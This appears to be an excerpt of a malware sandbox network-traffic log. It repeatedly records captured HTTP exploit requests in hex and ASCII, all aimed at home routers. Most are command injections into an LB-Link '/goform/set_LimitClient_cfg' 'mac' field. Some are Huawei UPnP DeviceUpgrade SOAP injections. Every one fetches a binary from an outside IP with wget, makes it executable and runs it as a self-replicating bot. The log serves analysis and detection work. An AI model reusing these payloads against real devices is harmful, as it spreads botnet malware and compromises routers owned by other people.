Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 466Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 20 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 73 6b 79 6c 6a 6e 65 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.178.235.18 -l /tmp/.oxy -r /skyljne.mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 6d 70 73 6c 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 38 2e 32 33 35 2e 31 38 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 3b 20 2e 2f 73 6b 79 6c 6a 6e 65 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.178.235.18/skyljne.mpsl; chmod 777 skyljne.mpsl; ./skyljne.mpsl lblink.selfrep;
